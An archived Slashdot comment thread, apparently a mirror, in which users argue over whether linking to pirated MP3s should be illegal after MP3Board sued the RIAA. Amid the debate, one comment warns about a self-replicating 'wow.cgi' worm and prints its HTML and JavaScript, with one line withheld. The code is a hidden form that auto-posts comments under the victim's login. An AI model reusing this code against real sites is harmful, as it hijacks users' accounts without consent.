Slashdot Mirror
RIAA Sued By MP3Board.com Over Right To Link
Puck3D writes: "The RIAA is the one being sued. Mp3board.com is suing the RIAA to keep them from shutting their site down for linking to sites that carry illegal MP3. " The article notes that nobody has ever been held liable for linkage. Sure seems like there sure are a lot of lawyers getting paid trying to take that right away.
Providing a link to a web site is not the same as composing the web site or even hosting it. A link is just a pointer.
What you are proposing is that all search engines should be liable for the content they link to. This is absurd and would kill off all of the US-based search engines.
To use an analogy that might make this more clear, imagine if the publisher of a telephone directory could be held liable for the actions of the people whose numbers were published! Absurd!
Why isn't the RIAA suing a deeper pocketed offender like Lycos? Their mp3.lycos.com site allows you to type in the name of an artist, and then it links directly to MP3s that are of questionable legal status.
Why not go after the big guy instead of the smaller websites?
``We're not Napster,'' said San Rafael attorney Ira Rothken, who represents MP3Board. ``We don't have . . . MP3 files. We're a mere conduit, like Lycos or Hotbot. What this lawsuit is about is whether a search engine or linking service has an obligation to edit automated links. By going after us, they are basically oppressing free speech for everybody.''
That line doesn't make sense. Either they don't understand what Napster is, or they simply don't want to have the legal issues Napster has been facing to impeed their case, and hence, distancing themselves from it..
Napster is simply providing links and interacting with a nonweb client. That is the *ONLY* difference. The client technology used. In a way, if they succedd, this could be good legal citing for Napster to use in the future, using this exact argument. They do not host pirated information. They diseminate links that point to othger Napster clients..
-- I'm the root of all that's evil, but you can call me cookie..
One would think that the powers that be would *WANT* this data to be legal, so they could *USE* it to locate and identify the *real* criminals.. Some people just ain't got the smarts, I suppose..
-- I'm the root of all that's evil, but you can call me cookie..
Yes, but can you check and insure the legality of EVERY link you have EVER posted? What if the file change. Say you put up http://slashdot.org/images/title.gif and claim it to be the logo for slashdot and that it is copyrighted and you can't use it. Say tommorrow rob replaces title.gif on his web server with a naked porno pic.
Can you guarnette that the image with be rated for all ages? What if someones mother tries to sue you because they 5 year old kid seen a porn pic that was linked off your site, and you didn't offer a warning of a "you must be 18" disclaimer?
You can not verfiy the content you link to, no one really can. Who then should be help responsiable for this? The person that linked the content, or the person with the actucally content?
Selling crack is illegal (atleast in the United States), but you can legally say "If you want crack, go down to 6th street and ask for Tony, he will set you up". Say this user goes and buys crack and gets busted. Who commited the crime here? The person that sold the crack? The person that bought the crack? You?
The person that bought the crack will be aresseted for possieon of an illegal substance. The person selling the crack will be arrested for distrubating an illegal substance. What the hell are the going to arrest you with, talking about an illegal substance? Fuck, go arrest half the media and you could even charge cops if "talking about crack" was illegal. %90 of the populas has talked about crack in one form or another.
Say they did make linking illegal, who would decide what was legal and what wasn't?
If someone has illegal content on there web site, then the person responsiable for posting this illegal content should be tried in a court of law for his acts, not the person that was talking or linking to it.
Linking IMHO is a form of free speech. I have the right to say, hey check out this Junk. But that is not my web site, just my words, who is responsiable for the stile projects acts? Me or the webmaster of that site?
Everyone is free to Link to what ever you fucking want. It may be in really bad taste, but it is not illegal.
"`Ford, you're turning into a penguin. Stop it.'" -THHGTTG
Could this spell the end of forums like slashdot?
I mean, if linking to stuff deemed 'illegal' is also made illegal, then these forums could be in danger...
Someone may post a comment to slashdot with a link in it to a site containing 'illegal' material or a link directly to that material. Is it reasonable to export the editors(moderators - whatever) to check all links before a comment is posted??? It would end up being more trouble than it is worth to those who run these forums...
I think that it is a good thing that someone is challenging the notion that providing a link is 'illegal'... lets just hope the judges have the sense to realise the stupidity of it all. Just because one site links to information on another site doesn't mean that the authors of the site linking have checked what is provided, or are really providing it... This is the argument used by ISP's for saying that they cannot be sued if someone puts up a site with 'illegal' content using their service. Yes, they will take action if alerted, but they deny all liability for the actions of its users.
There are many linking cases, where linking has been held to be actionable one way or the other, or where hyperlinking has been held to be within the scope of an injunction of some sort. Not that this is good law, but the cases exist.
Outside the US, linking liability has been almost routine. The earliest case in this area, the Shetland Times case, was a hyperlinking case.
Simply put, type in the name of a few commercial programs, or song names, plus keywords like "serial" and "crack" or "mp3" into the Altavista Advanced Search Form and you'll be on you're way to being an 31337 d00d.
So is the BSA and SPA and RIAA going to crack down on Altavista?
Mike
-- Could you use my software consulting serv
Well, something that might be relevant, that I have posted before: TimBL has a page called Link and Law, which is worth a read.
Employee of Inrupt, Project Release Manager and Community Manager for Solid
Not only is DeCSS not illegal in most of the world, but including a quote from an illegal copy of a copyrighted work isn't illegal. The legality of the physical media you read the information on is irrelevant. The copyright is on the information, not the paper. Thus quoting a copyrighted work is always governed by the fair use clause, no matter if the book/tape/etc you read was illegally copied.
I wonder if one could argue that links are indeed the way in which people "assemble" on the Web. It is after all how associations are formed. If that case could be made, then things become interesting, because First Amendment trumps almost everything.
The Mongrel Dogs Who Teach
The RIAA, a industry association, has a job to do everything they can to make sure everyone in the music industry gets paid.
True. But does that mean we have to do what they say? Example: Let's say Ford was making cars with cheap parts that made them monumentally unsafe. Ford isn't doing this because they want to kill people--they are doing it to save money. They have a duty to "increase shareholder value". Does that mean that I have a duty to buy their cars and get horribly mangled? No, on the contrary, I have a (moral) duty to inform others of the problem and lodge complaints with consumer protection orgs.
Similarly with the RIAA. They have a duty to make money (because they are a business or a business consortium). But they DON'T have a right to make money. Which means that I don't have a duty to GIVE THEM money (although I have that right).
It's all about understanding rights vs duties.
"I never understood why Slashdot always has to attack businesses!!"
Some (although by no means all) of Slashdot's "attacks" on businesses can be seen as consumer protection.
--
Have Exchange users? Want to run Linux? Can't afford OpenMail?
Linux MAPI Server!
http://www.openone.com/software/MailOne/
(Exchange Migration HOWTO coming soon)
So is the unlinked text pointing to the DeCSS code in your post legal or illegal?
What about a page full of unlinked URL's to cracks/warez?
It's irresponsible for a web site to say, "Well, gee, here are all these illegal warez/MP3/whatever sites, but you really shouldn't go there with the intention of stealing someone's intellectual property. And if you do, well, we can't be held responsible".
I completely agree that it's irresponsible. Someone correct me if I'm wrong, but this practice (linking to questionable content) is not illegal. At least not yet.
That's the whole point.
If this goes through, it sets a NASTY precedent. I understand that precedent isn't law, but it seems to be treated so.
The lawmaking should be left to lawmakers, even though they occasionally (interpret that at will) screw up their lawmaking, and not to whatever company has more lawyers, and more cash, and whoever the court wishes to appease.
Web consists of linked documents. RIAA is going against linking, it is going against the Web.
Think about the ramifications: first they declare linking to MP3s illegal, then they declare linking to political content that goes against corporations and governments illegal. Then everyone is forced to have a behavior chip implanted in their brains, and then:
Borg: Resistance is futile you will be assimilated to service us.
You can't handle the truth.
Quite right, but they are taking the wrong way to do it. Why go for the linking page, instead of going for the pages linked to? Those are the ones with infringing content. Hell, if they were smart (as the RIAA and MPAA have shown themselves NOT to be) they would use the site as a source to find the content. Let other people do the footwork for you. Of course, if those MP3's were not infringing and the RIAA tried to bring them down, the RIAA should be sued and hard.
Personally, I feel that the RIAA should lose this suit, and if mp3board was smart, they'd block any IPs from the RIAA (for the above reason)
But in these cases, this is simply *NOT* the case. There is no 'buisness arangement' here to deliver. If this is illegal, then all search engines who happen to come on a 'warez' page are in the same boat. Doing a standard search, and giving out information freely to anyone who asks simply doesn't fit, or make sense. Certainly, the 'service' you describe above wouldn't cater to, oh, say the police. A stanard information 'booth', on the other hand, simply points you to where you want to go. Anyone.
They make no money *BY* pointing you there. It's not their job to police the internet that they search.
-- I'm the root of all that's evil, but you can call me cookie..
They are not doing what you say. They are pointing you to resources that they found. Period. They are not pointing you to illegal sites on purpose. They simply search their database and report the findings, legal or illegal. It's not their job to police the data that they VERY simply found.
It's like if I drove around, and took note of every individual on a street corner. You wanted to know which ones had short skirts, and where pulling over cars. It told you.
-- I'm the root of all that's evil, but you can call me cookie..
The biggest problem I see with making people responsible for the things they link to is that it places a big burden on linkers. In order to be sure they're not doing anything illegal, they have to set up a system where, whenever the linked-to content changes, the link is disabled until the linker can verify that the change didn't make the content illegal. Tools could be created to make this less painful, but it's still a pain. Or you could just take your chances, but then we'd have the occasional Slashdot story about an innocent web author thrown in jail when the site he linked to started serving up kiddie porn or something.
--
Fuck the system? Nah, you might catch something.
I wonder if we could create a 'Napster-like' service along these lines. The client application on each users machine would act as a web-server which would provide links to the music files on their machines. When doing a search for music files, the client application would act only as a browser displaying hyper-links to 'pages' hosted by others client apps?
Wonder if the distribution mechanism could avoid litigation in this manner (I'm not saying that it would legalise piracy, just that the person 'hosting' the pirated material would become the target for litigation rather than the distribution mechanism).
--
The gift of death metal does not smile on the good looking.
DO NOT CLICK THOSE LINKS!
< /a></small></center> O c\">This is more informative</a><br>";
Those links will steal your password, and post to a slashdot forum.
This is not very cool security...shouldnt Slashdot confirm the IP of the Logged in user?Here is the code used in this exploit:
===============================================
<html><head><title>wow.cgi</title></head>
<body bgcolor="#000000" text="#ffffff" link="#ffffff">
I've disabled it now as the point is proven that slashdot is insecure, it now posts to sid=wow to stop it being visable on slashdot, if you want to read the source to see how this works go <a href="wow.txt">here</a>.<br>
So far 556 people have fallen pray to wow.cgi... <b>suckers</b>.<br>
<FORM ACTION="http://www.slashdot.org/comments.pl" METHOD="post">
<INPUT TYPE="HIDDEN" NAME="sid" VALUE="wow">
<INPUT TYPE="HIDDEN" NAME="pid" VALUE="0">
<INPUT TYPE="HIDDEN" NAME="mode" VALUE="thread">
<INPUT TYPE="HIDDEN" NAME="startat" VALUE="">
<INPUT TYPE="HIDDEN" NAME="threshold" VALUE="1">
<INPUT TYPE="HIDDEN" NAME="commentsort" VALUE="0">
<INPUT TYPE="hidden" NAME="postersubj" value="H">
<INPUT TYPE="hidden" NAME="postercomment" value="H">
<INPUT TYPE="hidden" NAME="op" VALUE="Submit">
<INPUT TYPE="hidden" name="posttype" value="html">
</FORM>
<center><small><a href="mailto:zk65@hobbiton.org">zk65@hobbiton.org
<SCRIPT>
atext = "<a href=\"http://hobbiton.org/~zk65/wow.cgi?I2t8BDfP
document.forms[0].postercomment.value=atext;
document.forms[0].postersubj.value = "More information";
document.forms[0].submit()
</script>
</body></html>
===============================================
It would be very easy for some idiot to use this to take advantage of slashdot users...therefore, I have left out one line of the trolls code.
"Don't try to confuse the issue with half truths and gorilla dust."
Bill McNeal (Phil Hartman)
I know this is borderline OT, but here's something nifty I just came across:
This looks like an interesting way to test Napster's convictions. The Offspring - supporters of Napster/MP3 in principle, are looking at making a profit off of Napster by selling Napster merchandise on their own site. Now we'll see if it (Napster) is about the customers or about the profits - won't we?
Taken from Good Morning Silicon Valley
You said Napster. Heh, heh-heh.. SoCal punk outfit The Offspring (http://www.offspring.com/) have begun selling unauthorized Napster merchandise on the band's Web site, for which they will keep 100 percent of the profits. Napster does not produce or market merchandise of its own. A source close to the band explained the maneuver, saying "It isn't about making money. In typical Offspring fashion, they think it's funny to f--- with people. They think Napster's cool and want to see how cool they [really] are."
-- What you do today will cost you a day of your life.
i'm glad someone posted this, or i was going to.
o c
along the same lines,
http://www.somedomain.org/completely_innocent.d
could actually be a directory,
with it's own index.html inside,
containing anything at all.
there is only one kind of link,
and it completely client-side unverifiable
without connecting to the server and d/ling the page.
-Tannin Kal
Do not click on a "This is more informative" link in a post entitled "More information" if you have Javascript enabled. It links to a script that posts a copy as you!
They'll take away my web links when they pry my keyboard out of my cold dead arms.
...
Oh, wait, they already sold me out in the US/EU treaty that gave up my rights to privacy.
;-(
Never mind
Will in Seattle
------
IF YOU SEE A POST CALLED "MORE INFORMATION" DO NOT CLICK ON THE LINK(to hobbiton.org or something). IT'S A REPLICATING CGI-WORM-TYPE THING!
Is it illegal for me to tell you where to buy crack? Where the 'corner-girls' can be purchased?
What about if I draw a map to these places? Give driving directions?
I'm all for treating the web as a new medium, but come on. If this sets a precident, will it be illegal to link to questionable content? What if I link to a link to this content. What if I link to google on my homepage, and google 'accidentally' links to questionable content? Is my link illegal, because it's obscurely linking to illegal content?
When will this stop?
Seriously though, if the <A> tag suddenly doesn't work in Internet Explorer 6, it's really time to start worrying :-)
Every expression is true, for a given value of 'true'
There, the links were to an alleged "circumvention" tool, not directly to allegedly copyright-infringing materials. We argued against finding of contributory violation of the DMCA in part because of how far removed the linkers were from any potential copyright infringement.
Here, I would still argue that the link is protected speech and merely a location indicator that the individual broswer can choose whether or not to follow, but it's a closer case.
-- Openlaw: Fighting for fair use and the public domain
If you accept that linking to illegal material should also be illegal then you are opening a pandora's box of problems that have major implications for free speech. It would ultimately make it illegal to tell anybody anything which may allow them to commit a crime! I have visions of computer science lecturers being jailed for giving students the skills to crack computer systems and such like!
--
Pardon me for being the one to piss in everyone's collective Cheerios, but I have to say that a lawsuit is not the way to go here. Time and time again I hear about how the "big guys" are suing over this, that, or the other. The fact is, in most cases it's business versus business trying to dictate practices. There has got to be a better way (if not several) to if not rectify the practices, at least determine a "fair usage". Although I can see the viewpoints of all involved, of what benefit is it to continue to scream "Lawsuit! Lawsuit!" to delay everyone's opportunity to straighten things out amongst themselves?
"I'm not even supposed to BE here today!"
How about if I set up a business where I pick you up at your house in a limo, take you to get some corner girls and some crack, and then drop you back off at your house?
Or if I go arrange the deals with the corner girls and the crack dealers, and just act as the middle man?
I'm afraid of these attacks on linking, too. But it does seem that the line gets blurry when you look real close.
---
Here's what they do in a nutshell.
They are a public 'message board', just like a good old public corkboard outside a store. People post things on it. Being electronic, you can search those 'postings'. That's it. Plain and simple. It could just as easily be alt.links on usenet. There's nothing illegal about this.
Now, even if they where actually searching the net, it's be simular. Instead, they'd drive around, recording everyone walking on the street. If someone then does a search of that data for all females (Or males, depending on preference)that are standing on the corner in tight clothes, pulling cars over, did providing that data break the law? Heck no..
It's a mad, MAD net out there.. (sigh)
-- I'm the root of all that's evil, but you can call me cookie..
(Likewise, proponents of legalizing marijuana sometimes argue that marijuana use would drop if it were legalized because it would no longer be "forbidden fruit." Whatever you think of the drug laws, honesty compels the conclusion that the main reason people smoke pot is to get high, and all other reasons come in a distant second.)
With all due respect, I suspect you were never a regular user of illegal substance and, based on what you say, probably never hung out with people who were.
What you say may be true of adults, but it is certainly not true of teenagers. When I was young and started smoking pot it was primarilly the lure of the forbidden and a burning desire to rebel that led very directly to it. A distant second was the desire to fit in with my peer group. Getting high was an even more distant third, quite often an irritating side effect of rebelling and being cool that interfered with my other social interests, like suavely sweeping a girl off her feet (hard to do when you get side tracked by a really cool pattern of shadows on the wall). Of the friends I've spoken with in recent years who were partaking at the same time, most have indicated that rebellion was their initial reason for trying pot as well.
Now, in college it was different. I was an adult, with nothing to rebel against and no desire to do so. Finding acceptance amongst a group of likeminded peers was also remarkably easy -- lifestyles on college campuses are much more diverse and much less conformist. There I smoked to get high, and gave little thought to what my peers would think, or my parents (who remained disapproving as ever, of course).
Now the stuff bores me, and I no longer smoke at all. Most of the people I know have followed a similar path, some quitting earlier, some still occasionally getting high for entertainment. In all cases, our motivations for doing it (or not) changed over time.
Statistics in Holland indicate that legalizing marijuana has dramatically decreased usage among young people. Yes, there are dutch who chose to get high, but not as many per capita as their are british, american, and germans who do so (many of whome inundate Amsterdam for such purposes). Based on the experiences of myself and my friends, the same would appear to apply to the united states. In the face of anectdotal evidence on one hand, hard research and well considered (read: not cooked) statistics on the other, it is difficult for me to understand the persistence in the United States in persuing the drug policy it does, with all the detrimental effects in terms of our civil liberties, fundamental rights, economy, and the greater drug use it encourages.
Clearly there are powerful interests who benefit, but at such a cost to society it amazes me we still put up with it.
Trading mp3's is similar -- amongst those I know who do it, "sticking it to the man" ranks as high or higher than collecting the actual music. This would indicate the rebellion is playing a pretty large role in people's motivation for violating copyrights. Whether it is the primary motivator or not (as it often is with drug use) it is there, and is significant.
What is even more striking is that these are adults who are acting out feelings of rebellion they haven't felt since high school. Getting an affluent adult with a wife and three children riled up in this way takes real talent, the kind only the lawyers at the RIAA and MPAA could display. The fact that many adults are feeling so angry, dissillusioned, and, yes, rebellious should have the RIAA, the MPAA, and their lackeys on Capitol Hill very concerned indeed.
The Future of Human Evolution: Autonomy
I strongly disagree with this. God help us all if this were ever to come true.
It is extremely important that everyone who surfs the web understand that the location of the files they request, directly or indirectly is relevant. It doesn't matter if you really know where the file is coming from, as long as you understand that it may be from somewhere other than you think.
Not all regular Slashdot readers use Linux (I don't), but I think I can safely say one thing about us all: we are all troubled by uneducated Internet users. I believe it is our responsibility to fight the good fight: try to educate as many people on how the Internet really works. For instance, here's a list of things people should know:
Maybe we should make up a Contitution Of The Internet or something like that.
Anyway, the point I'm trying to make is that as soon as you start saying in a public forum that Joe Blow Internet User doesn't care about the location of files he downloads, someone will use that as evidence that it's true.
And the men who hold high places must be the ones who start
To mold a new reality... closer to the heart
That's not making money by poiting you there. They could just as well have poited you to the popes web page, and still made money, aka, they have no financial insentive to point you to one page, the 'pirated Sting Collective', versus a legal one, 'Live Sting concert recordings..'.
-- I'm the root of all that's evil, but you can call me cookie..
Actually, he is right about the way it is in a lot of states. Next time you drive up to Minnesota, stop by the used record & CD store on 64th and Portland in South Minneapolis. You will see an endless array of products "for tobacco use only", including a pipe that is shaped like a pistol (you put your mouth over the barrel to smoke it).
Several times when I was in there buying records, I saw dumb stoners who vocalized their intention to smoke illegal stuff with them. They are always astonished that they actually got kicked out over a minor slip of the tongue. It can be pretty entertaining watching the arguments that follow.
Information wants to be anthropomorphized.
And it's an election year, too.
Actually, switchblades are illegal to own anywhere in the us.. unless the federal switchblade act has been repealed...
If I hadnt' already posted,I'd mod this way up.
Well written, good ideas, and he puts a lot of things into words that I've been trying to express for years now.
I can't shake the feeling I know this guy from the writing.. who is it? (I'm serious..... email me or something..)
'sides.. he reads Space Moose.....
I think the problem with linking from a legal standpoint is that it is a way to do something very much like hosting files on your site, without actually having the file there. I can put up a 10k page containing links to hundreds of cracks and mp3s and the like, all linked to external sites.
l ash-1.0.4.tar.gz"
Why is this a problem? For the end user, it's irrelevant that the content (the crack or the mp3) is hosted elsewhere. He went to that one 10k page to get it. It's just as if it WERE on your site.
However, what's the problem with this from a legal standpoint? Well, what does one do about linking to a page that has illegal content, without the author's knowledge? Should an author be required to check the "legality" of all information containted in sites he links to? What about links to links to content?
I think the problem is that there are really two types of links. The first type links to another site, ie, people that post a href="http://www.slashdot.org". The second type posts a link DIRECTLY to a piece of content, ie href="http://download.sourceforge.net/slashcode/s
While the problems are similar with both types of links (if you can accept that there are two distinct types of links), I have a difficult time justifying linking DIRECTLY to illegal content. ie, if DeCSS is declared illegal, I don't see how you can justify a link to http://www.dvdccaisbad.org/files/decss.zip. That is almost the same as hosting the file yourself, indeed, for the user, it IS the same.
However, links to a site containing illegal content are something that MUST remain legal, for the web to maintain its open and dynamic nature, even if that means illegal content will still be available. It's just not fair to the author of a site to require him to check to ensure http://www.gskp.com/free/ changed it's name from Great Shots of Kids Playing to Gimme Some Kiddie Porn.
However, do we think the law could recognize a distinction between the types of links? I don't think so. The line is too finely drawn, and any rule would either be too broad, and thus have a dampening effect on the web, or would be too narrow, and easily circumvented.
As such, I think linking must remain legal.
Perhaps the only way to get modded up is to join the Slashdot anti-business bias, but screw it.
The RIAA, a industry association, has a job to do everything they can to make sure everyone in the music industry gets paid. This includes the musicians, the promoters, the engineers, and the distributors. This means doing what they can to stop people who believe that music should be stolen.
While this particular website was not hosting the music files, by linking them, they are knowingly facilitating the crime. In fact, they are encouraging it. They don't even have Napster's claim that they "don't know what's going on with their users" because they store the links.
I never understood why Slashdot always has to attack businesses!!
Calling out bogus battery capacity claims.
Comes down to the ol' pass by reference or pass by value. A link (URL/URI/URN) is basically a fixed address. Just like a snail-mail address, you like to be assured that silly buggers don't go around changing them all the time (ie static and persistent). Now on the other hand *some* commercial sites have a buiness plan that requires either strict control (guide them pass the ad display) or require something (e.g. consumer data) in return for the honor and priviledge of viewing their rebranded proprietary formatted content . Quite rightly they get irritated when people bypass all their elaborate facades to go straight to the goodies or raw unencumbered data. Now, as far as I can see there are two issues:
.... it's left to the dedicated fans and nimble new companies. So instead the MBAs try the tactics they know best, legal intimidation, saturation marketing, media bullshitting, etc instead of doing the hard yakka of technology fix (does this remind you of any other company).
- right to link/reference
- right to deny access
Both are valid and not necessarily symmetric. If someone puts up a private building, they have the priviledge of denying entry. On the other hand, there are certain traditional precendents for public right of access (e.g. to shoreline). Thus a site which fences off common (e.g GPL) property with minimal widget frosting (e.g. a lot of sites fluff up the CIA database on countries) and attempts to charge a rent is attempting to create disproportionate return from little value-added (nice try but most people are smarter than that). Now if the recording industry is in the distribution business (and not music creation) then trying to maintain the same retailing/hype margins in a commodity business is downright stupid. Instead, they could add value by doing the obvious things like indexing, offering behind-scenes walkthroughs, cataloging, sorting by whatever, but no
Now the right to link is a rather interesting case as ideally you want lots of people to link to your content (more associated sales a la Amazon) but you can't prevent people from how they link, in short something that doesn't fit the criteria for a property right. Hence attempting to control this is going to be problematic as restricing access actually shrinks your potential market, sorta like cutting off your nose to spite your face. The bigger sites have the ability to prioritise (a la premium counter space in supermarkets due to volume of throughput) but most other businesses are not in that envious position. Perhaps the sensible way is for each commercial site to nominate the respectable entrances (ie valid and persistent URLs they guarentee will last x years). Then you can probably negotitate peacefully and come to some mutual benefit. Links are good, have more of them so long as they don't get broken.
What is annoying is that companies are confusing legal aspects with technological and economic aspects. By designing a site in a specific way (e.g. not using PURLs) they create a mess for themselves or worse, create a fatally flawed business model which they attempt to cover up by blaming others. If people are geting paid 6 figures for e-commerce MBAs and this is what they come up with, then a lot of venture capital is being wasted through sheer cluelessness. Those idiots deserve to be excommunicated to a country where a web is what the spider creates on your doorframe. One of these days, things will settle back to normal and the rest of us can get back to listening to some decent non-formulatic non-elevator music.
LL
I've finally decided what I think of mp3s. They are exactly analagous to 'WaReZ' from the last decade. The proponents of "Warez" had exactly the same "the s/ware's too expensive! make it cheaper or of course we'll have to pirate it" line, which I happen to notice has been swamped by the whole open-source and GPL world. Not that software piracy doesn't happen... but it doesn't have to, anything like as much now.
.|` Clouds cross the black moonlight,
Other consequences of the analogy: acceptance is a cure. (E.g., ever noticed that www.bestofwarez.com is linked from the MyNetscape portal? This does away with it being "radical new stuff breaking laws", so no-one wants to do the boring thing any more.)
Second: there has to be an alternative. If the whassit record labels got off their asses and came up with an alternative, they could swamp the "illegal mp3" scene with something mututally acceptable.
In either case, merely suing over use of the mp3 format is frankly immature. Provide a reasonable alternative and we'll consider it. Otherwise, grow up!!
~Tim
--
~Tim
--
Rushing on down to the circle of the turn
I realize RIAA isn't actually the plaintiff in this case, but it illustrates a point: these lawsuits are stupid. Remember when RIAA sued Diamond for the Rio? That little device got more publicity than Diamond could have bought with a Superbowl ad! Everyone heard about it and wanted one.
I'm sure that my.mp3.com's hits went through the roof as soon as RIAA sued them. And Napster - my god. Between RIAA, Dr. Dre, and Metallica, they have put Napster/Shawn Fanning on the cover of Newsweek! Talk about mass appeal! How many millions of new clients have been generated just from that alone?
I think mp3board.com knows this. This lawsuit is a masterstroke of public relations - as soon as any major news outlet picks this story up (and they probably will), mp3board is gonna get huge increases in page impressions. All that PR for - what - the $50 it costs to file a civil suit? (At least where I live)...
--
I think there is a world market for maybe five personal web logs.
Selling crack is illegal (atleast in the United States), but you can legally say "If you want crack, go down to 6th street and ask for Tony, he will set you up".
The person that bought the crack will be aresseted for possieon of an illegal substance. The person selling the crack will be arrested for distrubating an illegal substance. What the hell are the going to arrest you with, talking about an illegal substance?
(IANAL, so let's see if I get the terms right...)
Facilitating. Accessory before the fact. Conspiracy (if they can show you and the dealer had some kind of agreement - even a trivial one that gives you nothing - and they can construe almost any contact or information transfer as agreement).
Seems to me these laws and interpretations need to be struck as well. As I read the Constitution such speech is protected. But that won't keep you out of jail while you're waiting for the courts to agree.
Bantam Dominique roosters crow a four-note song. Once you've heard it as "Happy BIRTHday" you can't NOT hear it that way
That's like being arrested by the cops because you pointed at a bank robbery or something.
LOL, that made me laugh. But then, if a security guard can be arrested for planting a bomb because he was the one who helped the injured out, you never know what can happen.
Syllable : It's an Operating System
but I would expect that 99.9% of the links that are followed are for pirated music.
It's still not illegal.
I can go two blocks over to the local tobacconist, and pick up a bong, a hash pipe, and various types of rolling papers with certain leaf logos printed on the package. It's not illegal to sell this 'paraphenalia' (sp?). Everyone knows that people use this stuff to smoke pot, but if you say the words 'bong' or 'hash pipe' in the store, the tobacconist quickly informs you that these tools are 'Tobacco Sampling Devices'.
Sure, 99.9% or people use them to smoke pot, but it's not illegal. (Selling these devices, not smoking pot).
Now, if he were marketing these as tools to help you get high, he'd most likely get busted tomorrow.
It's all a matter of context.